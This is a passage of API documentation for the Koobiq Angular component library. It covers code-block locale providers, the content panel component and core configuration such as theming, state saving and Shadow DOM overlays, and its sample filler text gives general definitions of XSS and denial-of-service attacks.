##### KBQ_CODE_BLOCK_LOCALE_CONFIGURATION (const)

Localization configuration provider.

```ts
const KBQ_CODE_BLOCK_LOCALE_CONFIGURATION: InjectionToken<KbqCodeBlockLocaleConfiguration>;
```

##### kbqCodeBlockDefaultOptionsProvider (const)

Utility provider for `KBQ_CODE_BLOCK_DEFAULT_OPTIONS`.

```ts
const kbqCodeBlockDefaultOptionsProvider: (
    options: KbqCodeBlockDefaultOptions
) => Provider;
```

##### kbqCodeBlockFallbackFileLanguageProvider (const)

Utility provider for `KBQ_CODE_BLOCK_FALLBACK_FILE_LANGUAGE`.

```ts
const kbqCodeBlockFallbackFileLanguageProvider: (
    language: string
) => Provider;
```

##### kbqCodeBlockFallbackFileNameProvider (const)

Utility provider for `KBQ_CODE_BLOCK_FALLBACK_FILE_NAME`.

```ts
const kbqCodeBlockFallbackFileNameProvider: (
    fileName: string
) => Provider;
```

##### kbqCodeBlockHighlightJsConfigProvider (const)

Utility provider for `KBQ_CODE_BLOCK_HIGHLIGHT_JS_CONFIG`.

```ts
providers: [
  kbqCodeBlockHighlightJsConfigProvider({
    languages: {
      typescript: () => import('highlight.js/lib/languages/typescript'),
      css: () => import('highlight.js/lib/languages/css'),
      html: () => import('highlight.js/lib/languages/xml')
    }
  })
]
```

```ts
const kbqCodeBlockHighlightJsConfigProvider: (
    options: KbqCodeBlockHighlightJsConfig
) => Provider;
```

##### kbqCodeBlockLocaleConfigurationProvider (const)

Utility provider for `KBQ_CODE_BLOCK_LOCALE_CONFIGURATION`. Only the strings you pass are overridden;
the rest keep following the active locale.

```ts
const kbqCodeBlockLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqCodeBlockLocaleConfiguration>
) => Provider;
```

### Examples

#### Custom localization

**Example: Code-block with custom locale configuration, without KBQ\_LOCALE\_SERVICE** (`code-block-with-custom-locale-configuration`)

```ts code-block-with-custom-locale-configuration-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    kbqCodeBlockLocaleConfigurationProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';
import { KBQ_LOCALE_SERVICE } from '@koobiq/components/core';

@Component({
    selector: 'code-block-with-custom-locale-configuration-example',
    imports: [KbqCodeBlockModule],
    template: `
        <kbq-code-block canToggleSoftWrap maxHeight="200" lineNumbers [canDownload]="true" [files]="files" />
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                xml: () => import('highlight.js/lib/languages/xml')
            }
        }),
        // Disable global KBQ_LOCALE_SERVICE for locale configuration overriding
        { provide: KBQ_LOCALE_SERVICE, useValue: null },
        kbqCodeBlockLocaleConfigurationProvider({
            softWrapOnTooltip: '*CUSTOM* Enable word wrap',
            softWrapOffTooltip: '*CUSTOM* Disable word wrap',
            downloadTooltip: '*CUSTOM* Download',
            copiedTooltip: '*CUSTOM* ✓ Copied',
            copyTooltip: '*CUSTOM* Copy',
            viewAllText: '*CUSTOM* Show all',
            viewLessText: '*CUSTOM* Show less',
            openExternalSystemTooltip: '*CUSTOM* Open in the external system'
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockWithCustomLocaleConfigurationExample {
    readonly files: KbqCodeBlockFile[] = [
        {
            content: `<?xml version="1.0" encoding="UTF-8" ?>\n<vulnerabilities>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Denial-of-service attack</name>\n\t\t<abbreviation>DoS</abbreviation>\n\t\t<description>In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to a network. Denial of service is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled. The range of attacks varies widely, spanning from inundating a server with millions of requests to slow its performance, overwhelming a server with a substantial amount of invalid data, to submitting requests with an illegitimate IP address.</description>\n\t</vulnerability>\n<vulnerabilities>`,
            language: 'xml',
            link: 'https://github.com/koobiq/angular-components'
        }
    ];
}
```

## Content panel

- Entry point: `@koobiq/components/content-panel`
- NgModule: `KbqContentPanelModule`
- Page: https://koobiq.io/en/components/content-panel/overview

### Overview

`KbqContentPanel` - a slide-out side panel that shifts adjacent content. Often used to implement a quick preview mode for entities from a table.

**Example: Content panel overview** (`content-panel-overview`)

```ts content-panel-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqContentPanelModule } from '@koobiq/components/content-panel';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'content-panel-overview-example',
    imports: [KbqButtonModule, KbqContentPanelModule, KbqIconModule],
    template: `
        <kbq-content-panel-container #panel="kbqContentPanelContainer" width="350" maxWidth="450" minWidth="250">
            <div class="example-content-panel-container__content">
                <button kbq-button (click)="panel.toggle()">Toggle</button>
                <button kbq-button [disabled]="panel.isOpened()" (click)="panel.open()">Open</button>
                <button kbq-button [disabled]="!panel.isOpened()" (click)="panel.close()">Close</button>
            </div>

            <kbq-content-panel>
                <kbq-content-panel-header>
                    <div kbqContentPanelHeaderTitle>Title</div>
                    <div kbqContentPanelHeaderActions>
                        <button
                            kbq-button
                            aria-label="Copy link"
                            [color]="componentColors.Contrast"
                            [kbqStyle]="buttonStyles.Transparent"
                        >
                            <i kbq-icon="kbq-link_16"></i>
                        </button>
                        <button
                            kbq-button
                            aria-label="Expand"
                            [color]="componentColors.Contrast"
                            [kbqStyle]="buttonStyles.Transparent"
                        >
                            <i kbq-icon="kbq-arrows-expand-diagonal_16"></i>
                        </button>
                    </div>
                </kbq-content-panel-header>
                <kbq-content-panel-body>
                    @for (_i of [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]; track $index) {
                        <p>
                            In computing [{{ $index }}], a denial-of-service attack (DoS attack) is a cyber-attack in
                            which the perpetrator seeks to make a machine or network resource unavailable to its
                            intended users by temporarily or indefinitely disrupting services of a host connected to a
                            network. Denial of service is typically accomplished by flooding the targeted machine or
                            resource with superfluous requests in an attempt to overload systems and prevent some or all
                            legitimate requests from being fulfilled. The range of attacks varies widely, spanning from
                            inundating a server with millions of requests to slow its performance, overwhelming a server
                            with a substantial amount of invalid data, to submitting requests with an illegitimate IP
                            address.
                        </p>
                    }
                </kbq-content-panel-body>
                <kbq-content-panel-footer>
                    <button kbq-button [color]="componentColors.Contrast">Button 1</button>
                    <button kbq-button [color]="componentColors.ContrastFade">Button 2</button>
                </kbq-content-panel-footer>
            </kbq-content-panel>
        </kbq-content-panel-container>
    `,
    styles: `
        :host {
            display: block;
            height: 400px;
        }

        .example-content-panel-container__content {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-s);
            align-items: center;
            justify-content: center;
            height: 100%;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ContentPanelOverviewExample {
    protected readonly componentColors = KbqComponentColors;
    protected readonly buttonStyles = KbqButtonStyles;
}
```

#### Opening and closing

The panel can be opened or closed using the `toggle()`, `open()` and `close()` methods.

#### Panel width

The panel width is configured using the `width`, `minWidth` and `maxWidth` attributes.

```html
<kbq-content-panel-container width="400" minWidth="300" maxWidth="500">
    <kbq-content-panel>...</kbq-content-panel>
</kbq-content-panel-container>
```

#### State Saving

The content panel remembers whether it was open and how wide it was dragged, and restores the state after a page reload. On by default — use `[useStateSaving]="false"` to turn it off on a specific component.

**Example: Content panel state saving** (`content-panel-state-saving`)

```ts content-panel-state-saving-example.ts
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqContentPanelContainer, KbqContentPanelModule } from '@koobiq/components/content-panel';

@Component({
    selector: 'content-panel-state-saving-example',
    imports: [KbqButtonModule, KbqContentPanelModule],
    template: `
        <kbq-content-panel-container
            #panel="kbqContentPanelContainer"
            maxWidth="450"
            minWidth="250"
            stateSavingKey="content-panel-state-saving-example"
            width="350"
        >
            <div class="example-content-panel-container__content">
                <button kbq-button (click)="panel.toggle()">Toggle</button>
                <button kbq-button type="button" (click)="container().clearSavedState()">Reset saved state</button>
            </div>

            <kbq-content-panel>
                <kbq-content-panel-header>
                    <div kbqContentPanelHeaderTitle>Title</div>
                </kbq-content-panel-header>
                <kbq-content-panel-body>
                    <p>
                        Open the panel and drag its left edge, then reload the page — the panel comes back open and at
                        the width it was left. Double-clicking the edge restores the declared width, and that is
                        remembered too.
                    </p>
                </kbq-content-panel-body>
            </kbq-content-panel>
        </kbq-content-panel-container>
    `,
    styles: `
        .example-content-panel-container__content {
            display: flex;
            gap: 8px;
            padding: 16px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ContentPanelStateSavingExample {
    protected readonly container = viewChild.required(KbqContentPanelContainer);
}
```

`opened` is restored only while it is unbound: an application that binds `[(opened)]` decides when the panel is open. `width` is always restored — the input is the width the panel starts at, and the persisted one wins over it.

Double-clicking the resizer resets the width to the one `width` declares, and that reset is persisted. `clearSavedState()` removes what is stored.

Keys, storage and expiry work the same for every component that persists — see [Saving component state](https://koobiq.io/en/components/core.md#saving-component-state).

#### Keyboard interaction

By default, the `ESCAPE` key closes the panel, but you can disable this behavior using the `disableCloseByEscape` attribute:

```html
<kbq-content-panel-container disableCloseByEscape>
    <kbq-content-panel>...</kbq-content-panel>
</kbq-content-panel-container>
```

### API

#### Components

##### KbqContentPanel (component)

```ts
@Component({ selector: 'kbq-content-panel' })
class KbqContentPanel {}
```

##### KbqContentPanelAside (component)

```ts
@Component({
    selector: 'kbq-content-panel-aside',
    exportAs: 'kbqContentPanelAside'
})
class KbqContentPanelAside {}
```

##### KbqContentPanelBody (component)

```ts
@Component({
    selector: 'kbq-content-panel-body',
    exportAs: 'kbqContentPanelBody'
})
class KbqContentPanelBody {}
```

##### KbqContentPanelContainer (component)

```ts
@Component({
    selector: 'kbq-content-panel-container',
    exportAs: 'kbqContentPanelContainer'
})
class KbqContentPanelContainer {
    readonly openedInput = input<boolean | undefined>(undefined, {
        alias: 'opened'
    });
    readonly disableClose = input<boolean>(false);
    readonly disableCloseByEscape = input<boolean>(this.disableClose());
    readonly disableResizer = input<boolean>(false);
    readonly minWidth = input<number>(480);
    readonly width = input<number>(640);
    readonly maxWidth = input<number>(800);
    readonly openedChange = output<boolean>();
    readonly isOpened: Signal<boolean>;
    get hasSavedState(): boolean;
    saveState(): void;
    clearSavedState(): void;
    toggle(): void;
    open(): void;
    close(): void;
}
```

- `[opened]`: `boolean | undefined` — Whether the content panel is opened. Defaults to `undefined`.

  Bound through the `opened` attribute. Unset it is `undefined` rather than `false`, which is how the
  container tells an application that drives the panel from one that leaves it to remember its own
  state. Read `isOpened` for the state itself.
- `[disableClose]`: `boolean` — Whether the content panel can not be closed by clicking on the close button or pressing the ESCAPE key.
  Defaults to `false`.
- `[disableCloseByEscape]`: `boolean` — Whether the content panel can not be closed by pressing the ESCAPE key.
- `[disableResizer]`: `boolean` — Whether the content panel resizer is disabled.
- `[minWidth]`: `number` — Minimum width of the `KbqContentPanel`. Defaults to `480`.
- `[width]`: `number` — Width of the `KbqContentPanel`. Defaults to `640`.
- `[maxWidth]`: `number` — Max width of the `KbqContentPanel`. Defaults to `800`.
- `[useStateSaving]`: `boolean` — Whether the component remembers its state across reloads and restores it on the next render.
  Defaults to `true`, or to whatever `KBQ_STATE_SAVING_ENABLED` is provided as.
- `[stateSavingKey]`: `string` — The key the state is persisted under. While it is empty the key is derived from where the
  component sits in the document, which moves when the surrounding markup is restructured — an `id`
  on the component or any ancestor pins it just as well as this input does.
- `(openedChange)`: `boolean` — Emits event when the content panel opened state is changed.
- `isOpened`: `Signal<boolean>` — Whether the content panel is opened.
- `hasSavedState`: `boolean` — Whether state is currently persisted for this panel — restored on init, or written since.
  Always `false` while `useStateSaving` is unset, and `false` again after `clearSavedState()`.
- `saveState()`: `void` — Persists whether the panel is open and how wide it is.

  Called whenever the panel is opened, closed or resized.
- `clearSavedState()`: `void` — Removes the state persisted for this panel.

  Persistence itself stays on — the next change is written again. Unset `useStateSaving` to stop it.
- `toggle()`: `void` — Toggles the content panel opened state.
- `open()`: `void` — Opens the content panel.
- `close()`: `void` — Closes the content panel.

##### KbqContentPanelFooter (component)

```ts
@Component({ selector: 'kbq-content-panel-footer' })
class KbqContentPanelFooter {}
```

##### KbqContentPanelHeader (component)

```ts
@Component({ selector: 'kbq-content-panel-header' })
class KbqContentPanelHeader {}
```

- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.

#### Directives

##### KbqContentPanelHeaderActions (directive)

```ts
@Directive({
    selector: '[kbqContentPanelHeaderActions]',
    exportAs: 'kbqContentPanelHeaderActions'
})
class KbqContentPanelHeaderActions {}
```

##### KbqContentPanelHeaderTitle (directive)

```ts
@Directive({
    selector: '[kbqContentPanelHeaderTitle]',
    exportAs: 'kbqContentPanelHeaderTitle'
})
class KbqContentPanelHeaderTitle {}
```

#### Types

##### KbqContentPanelState (interface)

The persisted state of a content panel — whether it was open, and how wide it was dragged.

```ts
interface KbqContentPanelState {
    opened: boolean;
    width: number;
}
```

## Core

- Entry point: `@koobiq/components/core`
- NgModule: `KbqPseudoCheckboxModule`, `KbqFormsModule`, `KbqLocaleServiceModule`, `KbqOptionModule`, `KbqHighlightModule`, `KbqFormattersModule`
- Page: https://koobiq.io/en/components/core/overview

### Overview

**Core** is the public entry point to the shared APIs of the Koobiq component library. It brings together configuration, types, base elements, interaction rules, and utilities. Components rely on these capabilities, which are also available for custom components and wrappers.

The public TypeScript API is imported from `@koobiq/components/core`:

```ts
import { KBQ_WINDOW, kbqThemeProvider } from '@koobiq/components/core';
```

SCSS has separate entry points, such as `@koobiq/components/core/styles/visual`.

#### Related pages

Some areas are described in detail on dedicated pages:

| Article                                                                | Topic                                                                                                                                                                |
| ---------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [Date formatter](https://koobiq.io/en/other/date-formatter.md)         | `DateFormatter`, date pipes, and time zone handling                                                                                                                  |
| [Design tokens](https://koobiq.io/en/main/design-tokens.md)            | Global color and appearance variables                                                                                                                                |
| [Filesize formatter](https://koobiq.io/en/other/filesize-formatter.md) | `KbqDataSizePipe` and data-size units                                                                                                                                |
| [Forms](https://koobiq.io/en/other/forms.md)                           | `KbqForm` and `KbqFormElement` classes, `.kbq-form-vertical`, `.kbq-form-horizontal`, and `.kbq-form__row` selectors, and the `kbqForm` and `kbqFormElement` aliases |
| [Highlight](https://koobiq.io/en/components/highlight.md)              | `kbqHighlightBackground` and `kbqHighlightBold` pipes for highlighting text matches                                                                                  |
| [Layout flex](https://koobiq.io/en/components/layout-flex.md)          | Classes and mixins for building flex layouts                                                                                                                         |
| [Localization](https://koobiq.io/en/main/localization.md)              | Locale registry, active locale, interface strings, and overrides                                                                                                     |
| [Number formatter](https://koobiq.io/en/other/number-formatter.md)     | Pipes for precision, rounding, and displaying numbers in tables                                                                                                      |
| [Smart search](https://koobiq.io/en/other/search-smart.md)             | Query normalization, search predicates, and match ranges for highlighting                                                                                            |
| [Theming](https://koobiq.io/en/main/theming.md)                        | `KbqThemeService`, appearance modes, named variants, and CSS variables                                                                                               |
| [Typography](https://koobiq.io/en/main/typography.md)                  | The library's typographic styles and classes                                                                                                                         |
| [Validation](https://koobiq.io/en/other/validation.md)                 | `ErrorStateMatcher` and the rules for transitioning a field to the error state                                                                                       |

The rest of the public API is described below.

#### Configuration

Koobiq reads global configuration from Angular providers. Provider functions merge the supplied configuration with defaults and return a provider of the expected type.

##### Providers

| Provider                                             | Purpose                                                                                                                |
| ---------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
| `kbqThemeProvider(config)`                           | Registers appearance variants; sets the initial mode, the initial variant by name through `theme`, and the storage key |
| `kbqLocaleServiceProvider()`                         | Connects the localization service                                                                                      |
| `kbqLocaleIDProvider(localeId)`                      | Sets the active locale                                                                                                 |
| `kbqLocaleConfigurationOverrideProvider(section, …)` | Overrides strings in one locale section                                                                                |
| `kbqA11yLocaleConfigurationProvider(config)`         | Overrides screen-reader text                                                                                           |
| `kbqSelectLocaleConfigurationProvider(config)`       | Overrides strings for dropdown lists                                                                                   |
| `kbqFormattersLocaleConfigurationProvider(…)`        | Overrides the number formatting rules                                                                                  |
| `kbqLocaleServiceLangAttrNameProvider(attrName)`     | Sets the locale attribute name. Defaults to `lang`                                                                     |
| `kbqDateTimezoneProvider(timezone)`                  | Sets the time zone used to display dates                                                                               |
| `kbqSizeUnitsLocaleConfigurationProvider(config)`    | Configures data-size units                                                                                             |
| `kbqErrorStateMatcherProvider(matcher)`              | Sets when form-field errors are shown                                                                                  |
| `kbqShadowDomOverlayProvider(host?)`                 | Moves the overlay container into a Shadow DOM root                                                                     |

Component localization does not work without `kbqLocaleServiceProvider()`.

`ErrorStateMatcher` is a class obtained through dependency injection. Configure its implementation and the timing of error display with `kbqErrorStateMatcherProvider(matcher)`.

##### Tokens

Tokens let you replace a setting or implementation through dependency injection.

| Token                                     | What it configures                                                                                                                         |
| ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
| `KBQ_WINDOW`                              | A reference to `window` that is safe for server-side rendering                                                                             |
| `KBQ_THEME_CONFIG`                        | `KbqThemeService` settings: `themes`, `mode`, `theme`, and `storageKey`                                                                    |
| `KBQ_THEME_STORE`                         | Appearance mode (`light`, `dark`, `auto`) and pinned variant. Built-in implementations: `KbqThemeLocalStorageStore`, `KbqThemeCookieStore` |
| `KBQ_STATE_STORE`                         | Where components persist state across reloads. Built-in implementations: `KbqLocalStorageStateStore`, `KbqSessionStorageStateStore`        |
| `KBQ_STATE_SAVING_KEY_RESOLVER`           | How a component derives its storage key when it is given none. Defaults to `kbqStructuralStateSavingKey`                                   |
| `KBQ_STATE_SAVING_TTL`                    | How long a web-storage entry survives without being written or read. Defaults to 90 days                                                   |
| `KBQ_STATE_SAVING_ENABLED`                | What `useStateSaving` defaults to. Provide `false` to turn state saving off across an application                                          |
| `KBQ_LOCALE_SERVICE`                      | The `KbqLocaleService` instance. No factory is provided, so provide it explicitly                                                          |
| `KBQ_LOCALE_ID`                           | The active locale. Defaults to `ru-RU` (`KBQ_DEFAULT_LOCALE_ID`)                                                                           |
| `KBQ_LOCALE_DATA`                         | Available locales, including custom locales                                                                                                |
| `KBQ_LOCALE_CONFIGURATION_OVERRIDES`      | Partial overrides of locale sections                                                                                                       |
| `KBQ_A11Y_LOCALE_CONFIGURATION`           | Text read by screen readers                                                                                                                |
| `KBQ_SELECT_LOCALE_CONFIGURATION`         | Strings for dropdown lists                                                                                                                 |
| `KBQ_FORMATTERS_LOCALE_CONFIGURATION`     | Number formatting rules: decimal separators and rounding abbreviations                                                                     |
| `KBQ_LOCALE_SERVICE_LANG_ATTR_NAME`       | The HTML attribute name for the locale. Defaults to `lang`                                                                                 |
| `KBQ_DATE_LOCALE`                         | A date locale separate from the interface locale                                                                                           |
| `KBQ_DATE_FORMATS`                        | Date parsing and display formats                                                                                                           |
| `KBQ_DATE_TIMEZONE`                       | The time zone. Defaults to `system`                                                                                                        |
| `KBQ_NUMBER_FORMATTER_OPTIONS`            | Number precision and grouping                                                                                                              |
| `KBQ_SIZE_UNITS_LOCALE_CONFIGURATION`     | Data-size units                                                                                                                            |
| `KBQ_CHECKABLE_CLICK_ACTION`              | How checkboxes and toggles react to clicks: `noop`, `check`, `check-indeterminate`                                                         |
| `KBQ_SELECT_SCROLL_STRATEGY`              | How an open dropdown list behaves while the page scrolls                                                                                   |
| `KBQ_SELECT_SEARCH_MIN_OPTIONS_THRESHOLD` | The option count at which search appears. Defaults to `10`                                                                                 |

When a formatter token is not provided, the defaults apply: `KBQ_NUMBER_FORMATTER_DEFAULT_OPTIONS` for numbers and `KBQ_SIZE_UNITS_DEFAULT_LOCALE_CONFIGURATION` for data-size units.

#### Choosing a theme

`KbqThemeService` follows the operating system's color scheme through `mode` and lets you pin one registered variant by name.

A pinned variant takes priority over `mode` until it is reset. Use this mode when an application requires a specific appearance rather than a light, dark, or system mode.

**Example: Theme static selection** (`theme-static-selection`)

```ts theme-static-selection-example.ts
import { ChangeDetectionStrategy, Component, inject, OnDestroy } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqThemeConfig, KbqThemeSelector, KbqThemeService } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';

/**
 * Custom names pinned to the library's own light/dark classes (`KbqThemeSelector`) — reusing them, rather
 * than inventing unstyled classes, keeps the docs page's own styling intact when this example is live.
 */
const CUSTOM_THEMES: KbqThemeConfig[] = [
    { name: 'Day', className: KbqThemeSelector.Light, colorScheme: 'light' },
    { name: 'Night', className: KbqThemeSelector.Dark, colorScheme: 'dark' }
];

@Component({
    selector: 'theme-static-selection-example',
    imports: [KbqButtonModule, KbqDropdownModule, KbqIconModule],
    template: `
        <button kbq-button [kbqDropdownTriggerFor]="menu">
            {{ theme.staticTheme() ?? 'Pick a theme' }}
            <i kbq-icon="kbq-chevron-down-s_16"></i>
        </button>
        <kbq-dropdown #menu="kbqDropdown">
            @for (t of customThemes; track t.name) {
                <button kbq-dropdown-item (click)="theme.selectTheme(t.name)">{{ t.name }}</button>
            }
        </kbq-dropdown>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ThemeStaticSelectionExample implements OnDestroy {
    // Uses the app's single, shared `KbqThemeService` rather than a locally-provided instance — a second
    // instance would apply its own resolved class to the same `<body>`, fighting the app's real theme for
    // control of it (see the `Day`/`Night` classes below, which alias `KbqThemeSelector` for this reason).
    protected readonly theme = inject(KbqThemeService);
    protected readonly customThemes = CUSTOM_THEMES;

    private readonly previousThemes = this.theme.themes();
    private readonly previousStaticTheme = this.theme.staticTheme();

    constructor() {
        this.theme.setThemes([...this.previousThemes, ...CUSTOM_THEMES]);
    }

    ngOnDestroy() {
        this.theme.setThemes(this.previousThemes);
        this.theme.selectTheme(this.previousStaticTheme);
    }
}
```

#### Token KBQ\_WINDOW and server-side rendering

The token first reads `DOCUMENT.defaultView`. If that value is unavailable, it falls back to the global `window` for backward compatibility. If neither source is available, the token throws an error.

Use the injected object to access `innerWidth`, `getComputedStyle`, `matchMedia`, and other window properties:

```ts
import { inject } from '@angular/core';
import { KBQ_WINDOW } from '@koobiq/components/core';

class Example {
    private readonly window = inject(KBQ_WINDOW);

    get isNarrow(): boolean {
        return this.window.innerWidth < 768;
    }
}
```

#### Saving component state

A component persists its state across reloads by applying the `KbqStateSaving` directive. The directive owns the parts that are easy to get wrong — which key to use, when writing is allowed, and turning an untrusted payload back into state — and writes through `KBQ_STATE_STORE`, a plain key–value bucket for JSON payloads.

Apply it with `hostDirectives`, forwarding both of its inputs so a consumer can configure persistence on the component itself, and inject it to drive it. Nothing else is declared: the directive needs no configuration.

```ts
@Component({
    selector: 'my-panel',
    hostDirectives: [{ directive: KbqStateSaving, inputs: ['useStateSaving', 'stateSavingKey'] }]
})
export class MyPanel {
    private readonly stateSaving = inject(KbqStateSaving);
}
```

Read once while initializing, write whenever the state changes, and remove it with `clear()`. Writes before that first `read()` are suppressed, so an input binding that changes the state during the parent's update pass cannot overwrite what is stored before the component has seen it.

```ts
ngAfterContentInit(): void {
    const savedState = this.stateSaving.read(normalizeMyState);

    this.stateSaving.applying(() => this.apply(savedState ?? this.defaultState()));
}
```

The directive does not decide **what** to persist or **when** to read it — that stays with the component, which is the only thing that knows its own state. `read()` takes the normalizer for the same reason.

The rules below come from the shapes real components hold; ignoring them produces state that restores into the wrong component, or not at all.

- **The key is derived from the document when none is given.** `KBQ_STATE_SAVING_KEY_RESOLVER` builds it from the chain of tag names up to `<body>`, cut short by the first `id` on the way, which becomes the anchor — so restructuring the markup below that anchor moves the key and strands what was saved under the previous one. A host that is not in the document when it reads resolves to no key at all, and dev mode says so. Changing `stateSavingKey` at runtime moves the component to the entry under the new key: the directive reports the change, and the component restores from it.
- **Persist identifiers, not positions.** An index survives a reload but not a reordering, and it silently restores the wrong thing rather than nothing.
- **Persist only JSON-serializable data.** Never write component instances, `TemplateRef`s, functions, or date objects produced by a date adapter; persist a projection instead — an id rather than the object it identifies, an ISO string rather than a `DateTime`.
- **Normalize on read.** `getState()` returns `unknown` on purpose: web storage is origin-wide and user-writable, so `normalize` has to reject anything that is not the expected shape, and it is also where a payload written by an earlier version is migrated.
- **Write a whole snapshot, not a change to one.** A full snapshot drops values that no longer exist by itself; an incremental write leaves them behind to be restored forever.
- **Restore inside `applying()`.** Restored state is applied through the component's own setters, which persist as they go — without the guard, restoring writes the state straight back.
- **Keep the precedence explicit.** A controlled input wins over the persisted state, which wins over the default value.
- **Do not persist from an overlay.** Components created imperatively into a CDK overlay have no stable key to persist under, so their state belongs to the component that owns them.
- **The store is read synchronously.** A component reads once while it initializes and cannot wait, so a store whose `getState` returns a promise restores nothing and dev mode warns. To back the state with a server, load it before the application renders (`provideAppInitializer`) and serve it from memory.
- **Two components must not share a key.** A key addresses a whole entry, not a namespace, so components sharing one overwrite each other; only an explicit `stateSavingKey` can collide, and dev mode warns when it does.
- **`KBQ_STATE_SAVING_ENABLED` decides before anything reads.** `KbqStateSavingService.setEnabled()` is the runtime switch, but a component reads while it initializes, so provide the token to settle it up front — `false` turns state saving off application-wide, and individual components opt back in with `[useStateSaving]="true"`.

The web-storage stores write under a `kbq.state.` prefix, so an entry cannot collide with one the application owns, and stamp every entry with the time it was written. An entry that goes `KBQ_STATE_SAVING_TTL` (90 days by default) without being written or read is collected the next time a store is constructed, which keeps keys stranded by a restructuring from accumulating; reading an entry refreshes it. To keep the state for the tab session only, provide `KbqSessionStorageStateStore`:

```ts
providers: [{ provide: KBQ_STATE_STORE, useExisting: KbqSessionStorageStateStore }];
```

A custom store — a backend, for instance — implements the `KbqStateStore` interface and is provided through the same token; in a component's own `providers` the replacement is scoped to that component instead of the whole application. When it is one of the browser storages, extend `KbqWebStorageStateStore` instead: it already guards against SSR, unavailable storage and unreadable payloads.

##### Inspecting and managing what is stored

`KbqStateSavingService` is the application-wide view of it. It is provided in the root injector, so
`inject(KbqStateSavingService)` anywhere reaches the same instance.

It reads from two sources, because neither covers the other. A registry of live components says who
persists, under which key and what they currently hold — including a component given its own
`KBQ_STATE_STORE` through its `providers`, which the root store cannot see. The store says what is
actually stored, including the entries no live component claims: a component whose surrounding markup
changed writes under a new key and strands the old entry, and only the store knows it is still there.

```ts
const stateSaving = inject(KbqStateSavingService);

stateSaving.components(); // who persists, under which key, holding what
stateSaving.keys(); // every key the store holds
stateSaving.orphans(); // the keys no live component claims

stateSaving.remove(key); // one entry, in the root store and in a component's own
stateSaving.clearOrphans(); // only what nothing claims any more
stateSaving.clear(); // everything

stateSaving.setEnabled(false); // stop persisting, application-wide
```

Everything is reported as a snapshot rather than a signal. Components register while their host is being
created, which happens during change detection, and a signal written then is read back by a view that has
already been checked (`NG0100`). Subscribe to `changes` — it emits when a component registers,
persists, clears or is destroyed, when the service writes or removes, and when the store reports a write
from another tab — and take a fresh snapshot in response.

`keys()` and `orphans()` need `KbqStateStore.keys()`, which is optional: a store that cannot enumerate
leaves it out, and the service then reports the live components alone.

`setEnabled(false)` is the switch behind a "do not remember my interface" setting. It takes persistence
away from every component at once — a component's own `useStateSaving` still has to be set for it to
persist. It stops reading and writing, but neither removes what is already stored nor collapses what was
already restored: call `clear()` for the first, reload for the second. It deliberately does not stop a
component clearing its own state, since removing what was remembered carries the switch out rather than
working against it.

`write()` is there for importing settings. A component restores once, while initializing, so a payload
written under a live component's key reaches it only after a reload.

#### Overlay inside Shadow DOM

Angular CDK adds the overlay container to `document.body` by default. When an application runs inside Shadow DOM, modals, lists, tooltips, and toasts leave the shadow root. They also lose theme tokens declared on a `.kbq-light` or `.kbq-dark` ancestor.

`kbqShadowDomOverlayProvider` moves the overlay container into the shadow root:

```ts
import { bootstrapApplication } from '@angular/platform-browser';
import { kbqShadowDomOverlayProvider } from '@koobiq/components/core';

bootstrapApplication(AppComponent, {
    providers: [
        // The micro-frontend root element or any element inside its shadow tree.
        ...kbqShadowDomOverlayProvider(() => document.querySelector('my-mfe-root')!)
    ]
});
```

Limitations:

- without an argument, the provider searches for the shadow root from the application root component;
- the host element itself can resolve only an open shadow root;
- when the supplied element is already inside a closed shadow root, the provider gets that root through `getRootNode()`;
- when no shadow root is found, the container stays in `document.body`;
- the provider replaces the global `OverlayContainer`, so it cannot be combined with another implementation, such as `FullscreenOverlayContainer`;
- CDK structural styles move with the container, while the application must add Koobiq styles and theme tokens to the shadow root itself.

The full description, including a scenario with one shared container for all micro-frontends, is on the [Toast](https://koobiq.io/en/components/toast.md) page.

#### Panels under a sticky header

Pop-up panels render into the application-wide overlay container (`z-index: 1000`), above `kbq-top-bar` and `kbq-navbar` (`990`). To have the panels opened from the page content slide under the bars while the content scrolls, mark the content area with `kbqOverlayLayer`:

```html
<kbq-top-bar>…</kbq-top-bar>

<main kbqOverlayLayer>
